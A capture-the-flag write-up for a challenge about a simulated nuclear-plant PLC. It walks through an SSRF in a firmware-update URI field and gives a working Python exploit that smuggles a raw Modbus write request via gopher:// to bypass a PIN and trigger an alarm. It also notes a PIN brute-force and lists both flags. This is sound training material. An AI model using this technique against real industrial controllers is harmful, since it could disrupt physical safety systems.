Alarm
SUMMARY
You’ve gained access to the Norzh Nuclea nuclear reactor, your mission is to raise a nuclear alert.
You’ve two options to carry out the mission, but one of them may violate your contract rules. Think carefully before taking action!
TL;DR
The PLC relies on a modbus server. Using the firmware update feature, we can exploit an SSRF with the gopher://
protocol to send a modbus request, bypass the PIN code validation and trigger the alarm.
WRITEUP
WEB application
We’ve access to a Norzh Nuclea PLC (programmable logic controller) which is controlling and monitoring the nuclear Alarm state:
The web page source contains an interesting code that has been left during development:
from pymodbus.client.sync import ModbusTcpClient as ModbusClient
from pymodbus.mei_message import ReadDeviceInformationRequest
import logging
import time
FORMAT = ('%(asctime)-15s %(threadName)-15s '
'%(levelname)-8s %(module)-15s:%(lineno)-8s %(message)s')
logging.basicConfig(format=FORMAT)
log = logging.getLogger()
log.setLevel(logging.INFO)
COUNT = 1 # number of bits/register to read
SLAVE = 0x00 # slave id to read from
REGISTER = 1 # register index
ADDRESS = 0 # address to read on
OFF_VALUE = 0 # relay off value
ON_VALUE = 1 # relay on value
def run_sync_client():
with ModbusClient('127.0.0.1', port=5020) as client:
rq = ReadDeviceInformationRequest(unit=SLAVE)
rr = client.execute(rq)
info = ' - '.join(list(map(lambda x: x.decode(), rr.information.values())))
log.info(f'Server info: {info}')
log.info(f'Switching on the relay...')
rq = client.write_register(address=ADDRESS, value=ON_VALUE, unit=SLAVE)
rr = client.read_holding_registers(address=ADDRESS, count=COUNT, unit=SLAVE)
if rr.registers == [ON_VALUE]:
log.info('Successfully switched on the relay!')
else:
log.error('Failed to switch on the relay...')
if __name__ == "__main__":
run_sync_client()
This python code snippet is a basic Modbus client that connects to a local server, gets information about the server and changes an holding register state.
Assuming it’s part of the backend source code, let’s back it up, skip it for now and analyze the frontend service.
Inspecting the javascript code, we can see that the frontend service includes only a few functions:
- Alarm state monitoring:
refresh_info()
→get_alarm_state()
→GET /alarm-state
- Checking the firmware version:
check_version()
→GET /check-version
- Updating the firmware:
check_version()
- →
GET /update
: update the firmware using the default URI - →
POST /update?uri
: update the firmware using a custom URI
- →
- Updating the alarm state:
$('#alarm-status > button').click()
→POST /alarm-state?pin&state
: update the alarm state if the PIN code is correct
$(document).ready(function(){
const CURRENT_VERSION = '0.1';
function refresh_info() {
get_alarm_state();
$('#firmware-status > p').text(CURRENT_VERSION);
}
function get_alarm_state() {
$.get('/alarm-state', function(state) {
button = $('#alarm-status > button');
$('#alarm-status > p').text(state);
if (state == 'ON') {
button
.val('deactivate')
.text('Deactivate');
} else {
button
.val('activate')
.text('Activate');
}
});
}
function check_version() {
$.get('/check-version', function(version) {
version_id = parseFloat(version);
if (parseFloat(CURRENT_VERSION) < version_id) {
render_update();
}
});
}
function update_firmware() {
form = $('#update-form > form');
$.ajax({
url: '/update',
type: form[0].method,
data: form.serialize()
})
.done(function (data, textStatus, jqXHR) { alert(data); })
.fail(function (jqXHR, textStatus, errorThrown) { alert(jqXHR.responseText); render_update(true); })
.always(function (data, textStatus, jqXHR) {});
}
function render_update(custom_uri) {
form_container = $('#update-form');
if (custom_uri) {
form_content = `<form action="/update" method="POST" class="form-inline mt-2 mt-md-0"><input class="form-control mr-sm-2" type="text" name="uri" placeholder="Update link"><button class="btn btn-outline-success my-2 my-sm-0" type="submit">Update</button></form>`;
} else {
form_content = `<form action="/update" method="GET" class="form-inline mt-2 mt-md-0"><p class="my-2 my-sm-0 mr-2">An update is available</p><button class="btn btn-outline-success my-2 my-sm-0" type="submit">Update</button></form>`;
}
form_container.html(form_content);
}
$(document).on('submit', '#update-form > form', function(){
update_firmware();
return false;
});
$(document).on('click', '#alarm-status > button', function(){
$.ajax({
url: '/alarm-state',
type: 'POST',
data: `pin=${prompt('PIN code (4 digits)')}&state=${$('#alarm-status > button').val()}`
})
.done(function (data, textStatus, jqXHR) { get_alarm_state() })
.fail(function (jqXHR, textStatus, errorThrown) { alert(jqXHR.responseText) })
.always(function (data, textStatus, jqXHR) {});
return false;
});
window.setInterval(function refresh(){
refresh_info();
return refresh;
}(), 5000);
check_version();
});
If we try to update the firmware, the update process fails and renders a new form allowing us to submit a custom update URI (as seen above):
Using a Burp Collaborator payload, we can see the following interactions:
The update agent uses PycURL/7.43.0.3
to download files which relies on libcurl/7.66.0
, it’s promising since libcurl
generally handles (depending on its configuration) some interesting protocols like file
, FTP
, Gopher
, HTTP
, etc.
Relying on the Gopher
protocol, we should be able to exploit this SSRF vector and forge raw TCP requests. Let’s try it!
Gopher protocol
Gopher
is a very simple TCP/IP protocol that’s useful in performing SSRF attacks because it accepts URL-encoded characters.
The Modbus client script previously found contains juicy information;
MODBUS_HOST = '127.0.0.1' # modbus server host
MODBUS_PORT = 5020 # modbus server port
COUNT = 1 # number of bits/register to read
SLAVE = 0x00 # slave id to read from
REGISTER = 1 # register index
ADDRESS = 0 # address to read on
OFF_VALUE = 0 # relay off value
ON_VALUE = 1 # relay on value
Let’s dump the raw TCP request that is responsible for activating the relay (and probably for activating the alarm)!
Listen on the port 5020/tcp
for modbus requests:
nc -lvp 5020 | hexdump -C
Send Modbus single write request:
from pymodbus.client.sync import ModbusTcpClient as ModbusClient
with ModbusClient('127.0.0.1', port=5020) as client:
client.write_register(address=0, value=1, unit=0x00)
Result:
00000000 00 01 00 00 00 06 00 03 00 00 00 01 |............|
0000000c
Reading the MODBUS/TCP packet structure, we can finally compose our exploit:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import requests
HOST = '127.0.0.1'
PORT = 5020
payload = ''
payload += '%00%01' # Transaction identifier: 0x0001 (1)
payload += '%00%00' # Protocol identifier: 0x0000 (0) - MODBUS protocol
payload += '%00%06' # Length: 0x0006 (6)
payload += '%00' # Unit identifier: 0x00 (0)
payload += '%06' # Function code: 0x06 (6) - Write Single Register
payload += '%00%00' # Register address: 0x0000 (0)
payload += '%00%01' # Register value: 0x0001 (1)
uri = f'gopher://{HOST}:{PORT}/_{payload}' # _ is a junk char (ignored)
result = requests.post('http://127.0.0.1:8000/update', data={'uri': uri}).text
print(result)
Result:
PIN code bruteforce
An alternative solution was to bruteforce the PIN code, but it was not stealthy at all and risky:
The PIN code is 6498
, but we found it using an incremental test, which is risky in a nuclear power plant as we didn’t know the technology behind there.
FLAG
The final flags are:
ENSIBS{N0rZH_NuC1€A_DEfeAt€D!}
(using SSRF)ENSIBS{I_Th0uGhT_Y0u_ReAD_TH3_Rul3$...}
(using PIN code)
Happy Hacking!